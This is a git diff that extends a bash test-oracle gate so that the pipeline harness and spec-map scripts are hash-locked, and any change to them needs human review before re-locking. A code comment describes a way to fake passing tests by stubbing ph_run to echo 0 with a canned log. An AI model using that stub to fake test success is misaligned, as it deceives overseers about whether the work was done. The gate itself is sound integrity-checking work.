-9,6 +9,13 @@ set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SUITE="$SCRIPT_DIR/simple-test.sh" GATE="$SCRIPT_DIR/oracle-gate.sh" +# The suite sources pipeline-harness.sh at enforce time, so its content decides +# test outcomes and MUST be frozen too — otherwise it can be gutted toward +# fake-success (ph_run(){ echo 0; } + a canned gh log) with the hash unchanged. +# spec-map.sh gates lock generation; freeze it so the map cannot be silently +# weakened before an --accept. +HARNESS="$SCRIPT_DIR/lib/pipeline-harness.sh" +SPECMAP="$SCRIPT_DIR/spec-map.sh" LOCK="$SCRIPT_DIR/oracle.lock.json" MODE="${1:-enforce}" @@ -51,6 +58,8 @@ if [ "$MODE" = "--accept" ]; then jq -Rn \ --arg suite "$(hash_file "$SUITE")" \ --arg gate "$(hash_file "$GATE")" \ + --arg harness "$(hash_file "$HARNESS")" \ + --arg specmap "$(hash_file "$SPECMAP")" \ --arg generated "$(date +%Y-%m-%d)" \ --arg claude "$(command -v claude >/dev/null && echo true || echo false)" \ --rawfile map "$WORK/map.tsv" ' @@ -60,6 +69,8 @@ if [ "$MODE" = "--accept" ]; then environment: { claude: ($claude == "true") }, suiteSha256: $suite, gateSha256: $gate, + harnessSha256: $harness, + specmapSha256: $specmap, tests: ($map | rtrimstr("\n") | split("\n") | map( (split("\t")) as $p | { name: $p[0], story: $p[1] } )) @@ -106,14 +117,24 @@ VERDICT=0 # ── R7: file integrity ────────────────────────────────────────────────── locked_suite=$(jq -r .suiteSha256 "$LOCK") locked_gate=$(jq -r .gateSha256 "$LOCK") +locked_harness=$(jq -r '.harnessSha256 // ""' "$LOCK") +locked_specmap=$(jq -r '.specmapSha256 // ""' "$LOCK") actual_suite=$(hash_file "$SUITE") actual_gate=$(hash_file "$GATE") +actual_harness=$(hash_file "$HARNESS") +actual_specmap=$(hash_file "$SPECMAP") if [ "$locked_suite" != "$actual_suite" ]; then fail R7 "NEEDS_HUMAN: tests/simple-test.sh changed (locked $locked_suite, actual $actual_suite). Review the diff, then re-lock with --accept." fi if [ "$locked_gate" != "$actual_gate" ]; then fail R7 "NEEDS_HUMAN: tests/oracle-gate.sh changed (locked $locked_gate, actual $actual_gate). Review the diff, then re-lock with --accept." fi +if [ "$locked_harness" != "$actual_harness" ]; then + fail R7 "NEEDS_HUMAN: tests/lib/pipeline-harness.sh changed (locked $locked_harness, actual $actual_harness). Review the diff, then re-lock with --accept." +fi +if [ "$locked_specmap" != "$actual_specmap" ]; then + fail R7 "NEEDS_HUMAN: tests/spec-map.sh changed (locked $locked_specmap, actual $actual_specmap). Review the diff, then re-lock with --accept." +fi # ── R2: a locked test reported FAIL ───────────────────────────────────── while IFS=$'\t' read -r verdict name; do diff --git a/tests/oracle.lock.json b/tests/oracle.lock.json index de88ab9..b79397e 100644 --- a/tests/oracle.lock.json +++ b/tests/oracle.lock.json @@ -5,7 +5,9 @@ "claude": true }, "suiteSha256": "8167a99efae2739c969a639fed875f242dd34d54bd9c1538b5dadadfdeb99676", - "gateSha256": "a1bcae04a802b2d54c2ff57956f33c2195b5187acc775947400b4da8d853f83b", + "gateSha256": "146f372b777be784ffec1e2c1ee2b8fb63f6648c5a454343c331ad5edfec620c", + "harnessSha256": "575a43f90c840436634b0703b58f556cf746de58918746058ca2215ffa24d350", + "specmapSha256": "c95beb04094773d90a0cb64c20c1968e06c13501d3caa2708371713d34ac0846", "tests": [ { "name": "checkpoint: load returns empty for mismatched req_id",